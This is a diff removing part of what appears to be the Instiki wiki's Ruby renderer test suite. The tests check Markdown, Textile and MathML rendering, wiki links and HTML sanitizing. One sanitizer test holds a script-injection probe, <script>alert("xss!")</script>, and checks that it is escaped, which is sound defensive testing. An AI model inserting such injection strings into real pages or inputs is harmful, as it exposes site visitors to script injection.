-    %{ class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>G</mi>} +
-    %{</math> is a subset of <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/} +
-    %{1998/Math/MathML'><mi>G</mi></math> that is of the form <math class='maruku-mathml' display='} +
-    %{inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>x</mi><mi>H</mi></math>, where <math} +
-    %{ class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>x</mi>} +
-    %{<mo>\342\210\210</mo><mi>G</mi></math> and <math class='maruku-mathml' display='inline' xmlns} +
-    %{='http://www.w3.org/1998/Math/MathML'><mi>x</mi><mi>H</mi><mo>=</mo><mo stretchy='false'>\\\{<} +
-    %{/mo><mi>x</mi><mi>h</mi><mo>:</mo><mi>h</mi><mo>\342\210\210</mo><mi>H</mi><mo stretchy='fals} +
-    %{e'>\\\}</mo></math>.</p>\n\n<p>Similarly a <em>right coset</em> of <math class='maruku-mathml'} +
-    %{ display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>H</mi></math> in <math class} +
-    %{='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>G</mi></math} +
-    %{> is a subset of <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/M} +
-    %{ath/MathML'><mi>G</mi></math> that is of the form <math class='maruku-mathml' display='inline} +
-    %{' xmlns='http://www.w3.org/1998/Math/MathML'><mi>H</mi><mi>x</mi></math>, where <math class='} +
-    %{maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>H</mi><mi>x</m} +
-    %{i><mo>=</mo><mo stretchy='false'>\\\{</mo><mi>h</mi><mi>x</mi><mo>:</mo><mi>h</mi><mo>\342\210\210} +
-    %{</mo><mi>H</mi><mo stretchy='false'>\\\}</mo></math>.</p>\n</div>\n\n} +
-    %{<div class='num_lemma' id='LeftCosetsDisjoint'>\n<h6 id='lemma_\\d\{1,4\}'>Lemma</h6>\n\n<p>} +
-    %{Let <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>} +
-    %{<mi>H</mi></math> be a subgroup of a group <math class='maruku-mathml' display='inline' xmlns} +
-    %{='http://www.w3.org/1998/Math/MathML'><mi>G</mi></math>, and let <math class='maruku-mathml'} +
-    %{ display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>x</mi></math> and <math cla} +
-    %{ss='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>y</mi></ma} +
-    %{th> be elements of <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/} +
-    %{Math/MathML'><mi>G</mi></math>. Suppose that <math class='maruku-mathml' display='inline' xmln} +
-    %{s='http://www.w3.org/1998/Math/MathML'><mi>x</mi><mi>H</mi><mo>\342\210\251</mo><mi>y</mi><mi>} +
-    %{H</mi></math> is non-empty. Then <math class='maruku-mathml' display='inline' xmlns='http://ww} +
-    %{w.w3.org/1998/Math/MathML'><mi>x</mi><mi>H</mi><mo>=</mo><mi>y</mi><mi>H</mi></math>.</p>\n</d} +
-    %{iv>\n\n<div class='proof'>\n<h6 id='proof_\\d\{1,4\}'>Proof</h6>\n\n<p>Let <math class='maruku-m} +
-    %{athml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>z</mi></math> be some e} +
-    %{lement of <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/Math} +
-    %{ML'><mi>x</mi><mi>H</mi><mo>\342\210\251</mo><mi>y</mi><mi>H</mi></math>.</p>\n</div>\n\n} +
-    %{<div class='num_lemma' id='SizeOfLeftCoset'>\n<h6 id='lemma_\\d\{1,4\}'>Lemma</h6>\n\n<p>} +
-    %{Let <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>} +
-    %{<mi>H</mi></math> be a finite subgroup of a group <math class='maruku-mathml' display='inline' xmlns} +
-    %{='http://www.w3.org/1998/Math/MathML'><mi>G</mi></math>.</p>\n</div>\n\n} +
-    %{<div class='num_theorem' id='Lagrange'>\n<h6 id='theorem_\\d\{1,4\}'>Theorem</h6>\n\n<p><strong>\\(Lagrange\342\200\231s Theorem\\).</strong> Let <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>G</mi></math> be a finite group, and let <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>H</mi></math> be a subgroup of <math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>G</mi></math>.</p>\n</div>}
-
-    str2 = <<END_THM
-+-- {: .un_defn}
-###### Definition
-Let $H$ be a subgroup of a group $G$.  A *left coset* of $H$ in $G$ is a subset of $G$ that is of the form $x H$, where $x \\in G$ and $x H = \\{ x h : h \\in H \\}$.
-
-Similarly a *right coset* of $H$ in $G$ is a subset of $G$ that is of the form $H x$, where $H x = \\{ h x : h \\in H \\}$.
-=--
-
-+-- {: .num_lemma #LeftCosetsDisjoint}
-###### Lemma
-Let $H$ be a subgroup of a group $G$, and let $x$ and $y$ be
-elements of $G$. Suppose that $x H \\cap y H$ is non-empty. Then $x H = y H$.
-=--
-
-+-- {: .proof}
-###### Proof
-Let $z$ be some element of $x H \\cap y H$.
-=--
-
-+-- {: .num_lemma #SizeOfLeftCoset}
-###### Lemma
-Let $H$ be a finite subgroup of a group $G$.
-=--
-
-+-- {: .num_theorem #Lagrange}
-###### Theorem
-**(Lagrange's Theorem).** Let $G$ be a finite group, and let $H$ be a subgroup of $G$.
-=--
-END_THM
-
-    assert_match_markup_parsed_as(Regexp.new(str1), str2)
-  
-    assert_markup_parsed_as(
-        %{<p>SVG <animateColor title='MathML'><span class='newWikiWord'>} +
-        %{Math ML<a href='../show/MathML'>?</a></span></animateColor></p>}, 
-        "SVG <animateColor title='MathML'>MathML</animateColor>")
-  
-    assert_markup_parsed_as(
-        %{<div class='maruku-equation'><math class='maruku-mathml' display='block' } +
-        %{xmlns='http://www.w3.org/1998/Math/MathML'><mi>sin</mi><mo stretchy='false'>} +
-        %{(</mo><mi>x</mi><mo stretchy='false'>)</mo><semantics><annotation-xml encoding='SVG1.1'>} +
-        %{<svg></svg></annotation-xml></semantics></math><span class='maruku-eq-tex'><code style='display: none;'>} +
-        %{\\sin(x) \\begin{svg}&lt;svg/&gt;\\end{svg}</code></span></div>},
-        "$$\\sin(x) \\begin{svg}<svg/>\\end{svg}$$")
-  
-    code_block = [ 
-      'This is a code block:',
-        '',
-        '    def a_method(arg)',
-        '    return ThatWay',
-        '',
-        'Nice!'
-      ].join("\n")
-  
-    assert_markup_parsed_as(
-        %{<p>This is a code block:</p>\n\n<pre><code>def a_method(arg)\n} +
-        %{return ThatWay</code></pre>\n\n<p>Nice!</p>}, 
-        code_block)
-        
-        assert_markup_parsed_as(%{<p>You then needed to edit (or create) a user.js file in} +
-          %{ your Mozilla profile, which read either (<span class='newWikiWord'>Mac OSX<a h} +
-          %{ref='../show/MacOSX'>?</a></span>)</p>\n\n<pre><code>  user_pref(&quot;font.mat} +
-          %{hfont-family&quot;, &quot;Math1,Math2,Math4,Symbol&quot;);</code></pre>},
-        %{You then needed to edit (or create) a user.js file in your Mozilla profile, whic} +
-          %{h read either (MacOSX)\n\n      user_pref("font.mathfont-family", "Math1,Math2,Math4,Symbol");})
-
-    assert_markup_parsed_as(
-        %{<p><math class='maruku-mathml' } +
-        %{display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>} +
-        %{<mi>sin</mi><mo stretchy='false'>(</mo><mi>x</mi><mo stretchy='false'>)</mo></math> ecuasi\303\263n</p>},
-        "$\\sin(x)$ ecuasi\303\263n")
-   
-    assert_markup_parsed_as(
-        %{<p>ecuasi\303\263n</p>\n<div class='maruku-equation'><math class='maruku-mathml' } +
-        %{display='block' xmlns='http://www.w3.org/1998/Math/MathML'><mi>sin</mi>} +
-        %{<mo stretchy='false'>(</mo><mi>x</mi><mo stretchy='false'>)</mo></math>} +
-        %{<span class='maruku-eq-tex'><code style='display: none;'>\\sin(x)</code></span></div>}, 
-        "ecuasi\303\263n\n$$\\sin(x)$$")
-  
-    assert_markup_parsed_as(
-        %{<p>ecuasi\303\263n</p>\n\n<p><math class='maruku-mathml' } +
-        %{display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>} +
-        %{<mi>sin</mi><mo stretchy='false'>(</mo><mi>x</mi><mo stretchy='false'>)</mo></math></p>},
-        "ecuasi\303\263n \n\n$\\sin(x)$")
-  
-    assert_markup_parsed_as(
-        %{<p>ecuasi\303\263n <math class='maruku-mathml' } +
-        %{display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>} +
-        %{<mi>sin</mi><mo stretchy='false'>(</mo><mi>x</mi><mo stretchy='false'>)</mo></math></p>},
-        "ecuasi\303\263n $\\sin(x)$")
-  
-    assert_markup_parsed_as(
-        %{<div class='maruku-equation'><math class='maruku-mathml' display='block' xmlns='http://w} +
-        %{ww.w3.org/1998/Math/MathML'><mo>⋅</mo><mi>p</mi></math><span class='maruku-eq-tex'><code} +
-        %{ style='display: none;'>\\cdot\np</code></span></div>},
-        "$$\\cdot\np$$")
-  
-  end
-
-  def test_footnotes
-    assert_markup_parsed_as("<p>Ruby on Rails is a web-framework<sup id='fnref:1'><a href='#fn" +
-    ":1' rel='footnote'>1</a></sup>. It uses the MVC<sup id='fnref:2'><a href='#fn:2' rel='foo" +
-    "tnote'>2</a></sup> architecture pattern. It has its good points<sup id='fnref:3'><a href=" +
-    "'#fn:3' rel='footnote'>3</a></sup>.</p>\n<div class='footnotes'><hr/><ol><li id='fn:1'>\n" +
-    "<p>a reusable set of libraries <a href='#fnref:1' rev='footnote'>\342\206\251</a></p>\n</li><li" +
-    " id='fn:2'>\n<p>Model View Controller <a href='#fnref:2' rev='footnote'>\342\206\251</a></p>\n<" +
-    "/li><li id='fn:3'>\n<p>Here are its good points</p>\n\n<ol>\n<li>Ease of use</li>\n\n<li>" +
-    "Rapid development</li>\n</ol>\n<a href='#fnref:3' rev='footnote'>\342\206\251</a></li></ol></div>",
-    "Ruby on Rails is a web-framework[^framework]. It uses the MVC[^MVC] architecture pattern." +
-    " It has its good points[^points].\n\n[^framework]: a reusable set of libraries\n\n[^MVC]:" +
-    " Model View Controller\n\n[^points]: Here are its good points\n1. Ease of use\n2. Rapid d" +
-    "evelopment")
-  end
-
-  def test_ial_in_lists
-
-    assert_markup_parsed_as(
-    "<ul>\n<li>item 1</li>\n\n<li style='color: red;'>" +
-    "item 2</li>\n\n<li>item 3 continues here</li>\n</ul>",
-    "* item 1\n* {: style=\"color:red\"} item 2\n* item 3\n   continues here\n")
-    
-    assert_markup_parsed_as(
-    "<ol start='4'>\n<li>item 1</li>\n\n<li value='10'>" +
-    "item 2</li>\n\n<li>item 3 continues here</li>\n</ol>",
-    "1. item 1\n2. {: value=\"10\"} item 2\n13. item 3\n   continues here\n{: start=\"4\"}")
-
-  end
-  
-  def test_utf8_in_lists
-
-    assert_markup_parsed_as(
-    "<ul>\n<li>\u041E\u0434\u0438\u043D</li>\n\n<li>\u0414" +
-    "\u0432\u0430</li>\n\n<li>\u0422\u0440\u0438</li>\n</ul>",
-    "* \u041E\u0434\u0438\u043D\n* \u0414\u0432\u0430\n* \u0422\u0440\u0438\n")
-    
-    assert_markup_parsed_as(
-    "<ol>\n<li>\u041E\u0434\u0438\u043D</li>\n\n<li>\u0414"+
-    "\u0432\u0430</li>\n\n<li>\u0422\u0440\u0438</li>\n</ol>",
-    "1. \u041E\u0434\u0438\u043D\n2. \u0414\u0432\u0430\n3. \u0422\u0440\u0438\n")
-
-  end
-
-  def test_sick_lists
-
-    assert_markup_parsed_as(
-    "<ul>\n<li>item 1 19.</li>\n</ul>",
-    "* item 1\n19.\n")
-
-  end
-
-  def test_have_latest_itex2mml  
-
-      assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' displa} +
-        %{y='inline' xmlns='http://www.w3.org/1998/Math/} +
-        %{MathML'><mi>x</mi><menclose notation='box'><mp} +
-        %{added depth='2ex' height='3ex' voffset='5ex'><} +
-        %{mi>x</mi></mpadded></menclose></math></p>},
-        "equation $x\\boxed{\\mathraisebox{5ex}[3ex][2ex]{x}}$")
-
-      assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' displa} +
-        %{y='inline' xmlns='http://www.w3.org/1998/Math/} +
-        %{MathML'><mrow href='http://ex.com' xlink:href=} +
-        %{'http://ex.com' xlink:type='simple' xmlns:xlin} +
-        %{k='http://www.w3.org/1999/xlink'><mn>47.3</mn>} +
-        %{</mrow><mn>47</mn><mo>,</mo><mn>3</mn><mn>47,3} +
-        %{</mn></math></p>},
-        "equation $\\href{http://ex.com}{47.3} 47,3 \\itexnum{47,3}$")
-
-      assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' displa} +
-        %{y='inline' xmlns='http://www.w3.org/1998/Math/} +
-        %{MathML'><mi>A</mi><mi>\342\200\246</mi><mo>\342\253\275</mo><mi>B</} +
-        %{mi></math></p>},
-        "equation $A\\dots\\sslash B$")
-
-      assert_markup_parsed_as(
-        %{<p>boxed equation <math class='maruku-mathml' } +
-        %{display='inline' xmlns='http://www.w3.org/1998} +
-        %{/Math/MathML'><menclose notation='box'><mrow><} +
-        %{menclose notation='updiagonalstrike'><mi>D</mi} +
-        %{></menclose><mi>\317\210</mi><mo>=</mo><mn>0</} +
-        %{mn></mrow></menclose></math></p>},
-        "boxed equation $\\boxed{\\slash{D}\\psi=0}$")
-
-      assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' displa} +
-        %{y='inline' xmlns='http://www.w3.org/1998/Math/} +
-        %{MathML'><mi>\316\265</mi><mo>\342\211\240</mo>} +
-        %{<mi>\317\265</mi></math></p>},
-        "equation $\\varepsilon\\neq\\epsilon$")
-
-      assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' displa} +
-        %{y='inline' xmlns='http://www.w3.org/1998/Math/} +
-        %{MathML'><mi>A</mi><mo>=</mo><maction actiontyp} +
-        %{e='tooltip'><mi>B</mi><mtext>Spoons!</mtext></} +
-        %{maction></math></p>},
-        "equation $A=\\tooltip{Spoons!}{B}$")
-
-      assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' displa} +
-        %{y='inline' xmlns='http://www.w3.org/1998/Math/} +
-        %{MathML'><mi>A</mi><mpadded lspace='-100%width'} +
-        %{ width='0'><mi>B</mi></mpadded></math></p>},
-        "equation $A \\mathllap{B}$")
-
-      assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' displa} +
-        %{y='inline' xmlns='http://www.w3.org/1998/Math/} +
-        %{MathML'><mi>A</mi><mo>\342\211\224</mo><mi>B</} +
-        %{mi></math></p>},
-        "equation $A \\coloneqq B$")
-  
-      assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' displa} +
-        %{y='inline' xmlns='http://www.w3.org/1998/Math/} +
-        %{MathML'><mi>A</mi><mo>\342\206\255</mo><mi>B</} +
-        %{mi></math></p>},
-        "equation $A \\leftrightsquigarrow B$")
-
-    assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' displa} +
-        %{y='inline' xmlns='http://www.w3.org/1998/Math/} +
-        %{MathML'><munder><mi>A</mi><mo>\314\262</mo></m} +
-        %{under></math></p>},
-        "equation $\\underline{A}$")
-
-    assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' } +
-        %{display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>} +
-        %{<mi>A</mi><mo>\342\205\213</mo><mi>B</mi></math></p>},
-        "equation $A \\invamp B$")
-
-    assert_markup_parsed_as(
-        %{<p>blackboard digits: <math class='maruku-mathml' display='} +
-        %{inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>math} +
-        %{bb</mi><mn>123</mn></math></p>},
-        "blackboard digits: $\mathbb{123}$")
-
-    assert_markup_parsed_as(
-        %{<p>\\rlap: <math class='maruku-mathml' display='} +
-        %{inline' xmlns='http://www.w3.org/1998/Math/MathML'>} +
-        %{<mn>123</mn></math></p>},
-        '\rlap: $\rlap{123}$')
-  end
-  
-  def test_blahtex
-    if Kernel::system('blahtex --help > /dev/null 2>&1')
-      set_web_property :markup, :markdownPNG
-
-      re = Regexp.new(
-      %{<p>equation <span class='maruku-inline'><img alt='\\$a\\\\sin\\(\\\\theta\\)\\$' } +
-      %{class='maruku-png' src='\.\./files/pngs/\\w+\.png' style='vertical-align: -0\.5} +
-      %{(5)+6ex; height: 2\.3(3)+ex;'/></span></p>})
-      assert_match_markup_parsed_as(re, 'equation $a\sin(\theta)$')
-
-      re = Regexp.new(
-      %{<div class='maruku-equation'><img alt='\\$a\\\\sin\\(\\\\theta\\)\\$' } +
-      %{class='maruku-png' src='\.\./files/pngs/\\w+\.png' style='height: 2\.3(3)+} +
-      %{33333ex;'/><span class='maruku-eq-tex'><code style='display: none;'>a\\\\sin} +
-      %{\\(\\\\theta\\)<\/code><\/span><\/div>})
-      assert_match_markup_parsed_as(re, '$$a\sin(\theta)$$')
-
-    else
-      print "\nBlahTeX not found ... skipping.\n"
-    end
-  end
-
-  def test_markdown_hyperlink_with_slash
-    # in response to a bug, see http://dev.instiki.org/attachment/ticket/177
-    set_web_property :markup, :markdown
-  
-    assert_markup_parsed_as(
-        "<p><a href='http://example/with/slash'>text</a></p>", 
-        '[text](http://example/with/slash)')
-  end
-  
-  def test_mixed_formatting
-    textile_and_markdown = [
-      'Markdown heading',
-      '================',
-      '',
-      'h2. Textile heading',
-      '',
-      '*some* **text** _with_ -styles-',
-      '',
-      '* list 1',
-      '* list 2'
-    ].join("\n")
-    
-    set_web_property :markup, :markdownMML
-    re = Regexp.new(
-      '<h1 id=\'markdown_heading_\d{1,4}\'>Markdown heading</h1>\n\n' +
-      "<p>h2. Textile heading</p>\n\n" +
-      "<p><em>some</em> <strong>text</strong> <em>with</em> -styles-</p>\n\n" +
-      "<ul>\n<li>list 1</li>\n\n<li>list 2</li>\n</ul>")
-    
-    assert_match_markup_parsed_as(re, textile_and_markdown)
-    set_web_property :markup, :textile
-    assert_markup_parsed_as(
-      "<p>Markdown heading<br/>\n====</p>\n<h2>Textile heading</h2>" +
-      "\n<p><strong>some</strong> <b>text</b> <em>with</em> <del>styles</del></p>" +
-      "\n<ul>\n\t<li>list 1</li>\n\t<li>list 2</li>\n</ul>",
-      textile_and_markdown)
-
-# Mixed Textile+Markdown markup not supported by RedCloth 4.x    
-    set_web_property :markup, :mixed
-    assert_markup_parsed_as(
-      "<h1>Markdown heading</h1>\n\n\n\t<h2>Textile heading</h2>\n\n\n\t" +
-      "<p><strong>some</strong> <b>text</b> <em>with</em> <del>styles</del></p>\n\n\n\t" +
-      "<ul>\n\t<li>list 1</li>\n\t\t<li>list 2</li>\n\t</ul>",
-      textile_and_markdown)
-  end
-
-  def test_textile_pre
-    set_web_property :markup, :textile
-     assert_markup_parsed_as("<pre>\n<code>\n  a == 16\n</code>\n</pre>\n<p>foo bar" +
-       "<br/>\n<pre><br/>\n<code>\n  b == 16\n</code><br/>\n</pre></p>",
-     "<pre>\n<code>\n  a == 16\n</code>\n</pre>\nfoo bar\n<pre>\n<code>\n  b == 16\n</code>\n</pre>")
-  end
-
-  def test_rdoc
-    set_web_property :markup, :rdoc
-  
-    @revision = Revision.new(:page => @page, :content => '+hello+ that SmartEngineGUI', 
-        :author => Author.new('DavidHeinemeierHansson'))
-  
-    assert_equal "<tt>hello</tt> that <span class='newWikiWord'>Smart Engine GUI" +
-        "<a href='../show/SmartEngineGUI'>?</a></span>", 
-        x_test_renderer(@revision).display_content
-  end
-  
-#  def test_content_with_auto_links
-#    assert_markup_parsed_as(
-#        '<p><a href="http://www.loudthinking.com/">http://www.loudthinking.com/</a> ' +
-#        'points to <a class="existingWikiWord" href="../show/ThatWay">That Way</a> from ' +
-#        '<a href="mailto:david@loudthinking.com">david@loudthinking.com</a></p>', 
-#        'http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com')
-#  
-#  end  
-  
-  def test_content_with_aliased_links
-    assert_markup_parsed_as(
-        "<p>Would a <a class='existingWikiWord' href='../show/SmartEngine'>clever motor" +
-	    '</a> go by any other name?</p>',
-        'Would a [[SmartEngine|clever motor]] go by any other name?')
-  end
-  
-  def test_content_with_wikiword_in_em
-    assert_markup_parsed_as(
-        "<p><em>should we go <a class='existingWikiWord' href='../show/ThatWay'>" +
-	    "That Way</a> or <span class='newWikiWord'>This Way<a href='../show/ThisWay'>?</a>" +
-	    '</span></em></p>', 
-        '_should we go ThatWay or ThisWay _')
-  end
-
-  def test_content_with_utf8_in_strong
-    assert_markup_parsed_as(
-        "<p>Can we handle <strong>\u221E-gerbe</strong></p>", 
-        "Can we handle **\u221E-gerbe**")
-  end
-
-  def test_content_with_redirected_link
-    assert_markup_parsed_as(
-        "<p>This is a redirected link: <a class='existingWikiWord' href='../show/liquor'>" +
-	    "booze</a>. This is not: <span class='newWikiWord'>hooch<a href='../show/hooch'>?</a>" +
-	    '</span></p>', 
-        'This is a redirected link: [[booze]]. This is not: [[hooch]]')
-  end
-
-  def test_content_with_wikiword_in_equations
-    assert_markup_parsed_as(
-        "<p>should we go <a class='existingWikiWord' href='../show/ThatWay'>" +
-	    "That Way</a> or</p>\n<div class='maruku-equation' id='eq:eq1'>" +
-	    "<span class='maruku-eq-number'>(1)</span><math class='maruku-mathml' display='block' " +
-	    "xmlns='http://www.w3.org/1998/Math/MathML'><mi>ThisWay</mi></math>" +
-	    "<span class='maruku-eq-tex'><code style='display: none;'>ThisWay</code>" +
-	    "</span></div>", 
-        "should we go ThatWay or \n\\[ThisWay\\]\n")
-
-    assert_markup_parsed_as(
-        "<p>should we go <a class='existingWikiWord' href='../show/ThatWay'>" +
-	    "That Way</a> or</p>\n<div class='maruku-equation'>" +
-	    "<math class='maruku-mathml' display='block' " +
-	    "xmlns='http://www.w3.org/1998/Math/MathML'><mi>ThisWay</mi></math>" +
-	    "<span class='maruku-eq-tex'><code style='display: none;'>ThisWay</code>" +
-	    "</span></div>", 
-        "should we go ThatWay or \n$$ThisWay$$\n")
-        
-    assert_markup_parsed_as(
-        "<p>should we go <a class='existingWikiWord' href='../show/ThatWay'>" +
-	    "That Way</a> or</p>\n<div class='maruku-equation'>" +
-	    "<math class='maruku-mathml' display='block' " +
-	    "xmlns='http://www.w3.org/1998/Math/MathML'><mi>ThisWay</mi><mi>$</mi>" +
-	    "<mn>100</mn><mi>ThatWay</mi></math>" +
-	    "<span class='maruku-eq-tex'><code style='display: none;'>ThisWay \\$100 " +
-	    "ThatWay</code></span></div>", 
-        "should we go ThatWay or \n$$ThisWay \\$100 ThatWay $$\n")
-
-    assert_markup_parsed_as(
-        "<p>should we go <a class='existingWikiWord' href='../show/ThatWay'>" +
-	    "That Way</a> or <math class='maruku-mathml' display='inline' " +
-	    "xmlns='http://www.w3.org/1998/Math/MathML'><mi>ThisWay</mi></math> today.</p>", 
-        "should we go ThatWay or <math class='maruku-mathml' display='inline' " +
-	    "xmlns='http://www.w3.org/1998/Math/MathML'><mi>ThisWay</mi></math> today.")
-
-    assert_markup_parsed_as(
-        "<p>should we go <a class='existingWikiWord' href='../show/ThatWay'>" +
-	    "That Way</a> or <math class='maruku-mathml' display='inline' " +
-	    "xmlns='http://www.w3.org/1998/Math/MathML'><mi>ThisWay</mi></math>.</p>", 
-        "should we go ThatWay or $ThisWay$.")
-  end
-  
-  def test_content_with_wikiword_in_equations_textile
-    set_web_property :markup, :textile
-    assert_markup_parsed_as(
-      "<p>$$<span class='newWikiWord'>foo<a href='../show/foo'>?" +
-      "</a></span>$$<br/>\n$<span class='newWikiWord'>foo<a " +
-      "href='../show/foo'>?</a></span>$</p>",
-      "$$[[foo]]$$\n$[[foo]]$")
-  end
-  
-  # wikiwords are invalid as styles, must be in "name: value" form
-  def test_content_with_wikiword_in_style_tag
-    assert_markup_parsed_as(
-        "<p>That is some <em style=''>Stylish Emphasis</em></p>", 
-	    "That is some <em style='WikiWord'>Stylish Emphasis</em>")
-  end
- 
-  # validates format of style..
-  def test_content_with_valid_style_in_style_tag
-    assert_markup_parsed_as(
-        "<p>That is some <em style='text-align: right;'>Stylish Emphasis</em></p>", 
-	    "That is some <em style='text-align: right'>Stylish Emphasis</em>")
-  end
-  
-  def test_content_with_escaped_wikiword
-    # there should be no wiki link
-    assert_markup_parsed_as('<p>WikiWord</p>', '\WikiWord')
-  end
-  
-  def test_content_with_pre_blocks
-    set_web_property :markup, :markdownMML
-    assert_markup_parsed_as(
-      "<p>A <code>class SmartEngine</code> would not mark up</p>\n\n<pre><code>CodeBlocks</code></pre>\n\n<p>would it?</p>", 
-      "A `class SmartEngine` would not mark up\n\n    CodeBlocks\n\nwould it?")
-    assert_markup_parsed_as(
-      "<p>A <code>class SmartEngine</code> would not mark up</p>\n<pre>CodeBlocks</pre>\n<p>would it?</p>", 
-      "A <code>class SmartEngine</code> would not mark up\n\n<pre>CodeBlocks</pre>\n\nwould it?")
-  end
-
-  def test_inline_html
-    set_web_property :markup, :markdownMML
-    assert_markup_parsed_as(
-      "<p>We discuss the general abstract <a href='http://nlab.mathforge.org/nlab/show/cohesive+(infinity%2C1)-topos#Structures'>structures in a cohesive (\u221E,1)-topos</a> realized.</p>", 
-      "We discuss the general abstract\n<a href=\"http://nlab.mathforge.org/nlab/show/cohesive+(infinity%2C1)-topos#Structures\">structures in a cohesive (\u221E,1)-topos</a> realized.")
-  end
-  
-#  def test_content_with_autolink_in_parentheses
-#    assert_markup_parsed_as(
-#      '<p>The W3C body (<a href="http://www.w3c.org">' +
-#      'http://www.w3c.org</a>) sets web standards</p>', 
-#      'The W3C body (http://www.w3c.org) sets web standards')
-#  end
-  
-  def test_content_with_link_in_parentheses
-    assert_markup_parsed_as(
-      "<p>(<a href='http://wiki.org/wiki.cgi?WhatIsWiki'>What is a wiki?</a>)</p>",
-      '([What is a wiki?](http://wiki.org/wiki.cgi?WhatIsWiki))')
-  end
-  
-  def test_content_with_image_link
-    assert_markup_parsed_as( 
-      "<p>This <img alt='' src='http://hobix.com/sample.jpg'/> is a Markdown image link.</p>", 
-      'This ![](http://hobix.com/sample.jpg) is a Markdown image link.')
-  end
-  
-  def test_content_with_inlined_img_tag
-    assert_markup_parsed_as( 
-      "<p>This <img alt='' src='http://hobix.com/sample.jpg'/> is an inline image link.</p>", 
-      'This <img src="http://hobix.com/sample.jpg" alt="" /> is an inline image link.')
-       
-    # currently, upper case HTML elements are not allowed
-    assert_markup_parsed_as( 
-      "<p>This &lt;IMG SRC='http://hobix.com/sample.jpg' alt=''&gt;&lt;/IMG&gt; is an inline image link.</p>", 
-      'This <IMG SRC="http://hobix.com/sample.jpg" alt="" /> is an inline image link.')
-  end
-  
-  def test_nowiki_tag
-    assert_markup_parsed_as( 
-      '<p>Do not mark up [[this text]] or http://www.thislink.com.</p>', 
-      'Do not mark up <nowiki>[[this text]]</nowiki> ' +
-      'or <nowiki>http://www.thislink.com</nowiki>.')
-  end
-  
-  def test_malformed_nowiki
-    assert_markup_parsed_as( 
-      '<p>&lt;i&gt;&lt;b&gt;&lt;/i&gt;&lt;/b&gt;</p>', 
-      '<nowiki><i><b></i></b></nowiki> ')
-  end
-
-  
-  def test_multiline_nowiki_tag
-    assert_markup_parsed_as( 
-      "<p>Do not mark \n up [[this text]] \nand http://this.url.com  but markup " +
-      "<span class='newWikiWord'>this<a href='../show/this'>?</a></span></p>",
-      "Do not <nowiki>mark \n up [[this text]] \n" +
-      "and http://this.url.com </nowiki> but markup [[this]]")
-  end
-
-  def test_markdown_nowiki_tag
-    assert_markup_parsed_as( 
-      '<p>Do not mark up *this text* or http://www.thislink.com.</p>', 
-      'Do not mark up <nowiki>*this text*</nowiki> ' +
-      'or <nowiki>http://www.thislink.com</nowiki>.')
-  end
-  
-  def test_sanitize_nowiki_tag
-    assert_markup_parsed_as(
-      '<p>[[test]]&amp;<a href=\'a&amp;b\'>shebang</a> &lt;script&gt;alert(&quot;xss!&quot;);&lt;/script&gt; *foo*</p>',
-      '<nowiki>[[test]]&<a href="a&b">shebang</a> <script>alert("xss!");</script> *foo*</nowiki>')
-  end
-
-  def test_entities
-    assert_markup_parsed_as(
-      "<p>Known: \342\210\256. Pass-through: &amp;. Unknown: &amp;foo;.</p>",
-      "Known: &conint;. Pass-through: &amp;. Unknown: &foo;.")
-  end
-  
-  def test_content_with_bracketted_wiki_word
-    set_web_property :brackets_only, true
-    assert_markup_parsed_as( 
-      "<p>This is a WikiWord and a tricky name <span class='newWikiWord'>" +
-      "Sperberg-McQueen<a href='../show/Sperberg-McQueen'>?</a></span>.</p>", 
-      'This is a WikiWord and a tricky name [[Sperberg-McQueen]].')
-  end
-  
-  def test_content_for_export
-    assert_equal "<p><span class='newWikiWord'>His Way</span> would be " +
-        "<a class='existingWikiWord' href='MyWay.html'>My Way</a> " +
-        "<math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>" +
-        "<mi>sin</mi><mo stretchy='false'>(</mo><mi>x</mi><mo stretchy='false'>)</mo><semantics>" +
-        "<annotation-xml encoding='SVG1.1'><svg></svg></annotation-xml></semantics></math> in kinda " +
-        "<a class='existingWikiWord' href='ThatWay.html'>That Way</a> in " +
-        "<span class='newWikiWord'>His Way</span> though " +
-        %{<a class='existingWikiWord' href='MyWay.html'>My Way</a> OverThere \342\200\223 see } +
-        "<a class='existingWikiWord' href='SmartEngine.html'>Smart Engine</a> in that " +
-        "<span class='newWikiWord'>Smart Engine GUI</span></p>", 
-        x_test_renderer(@revision).display_content_for_export
-  end
-  
-  def test_double_replacing
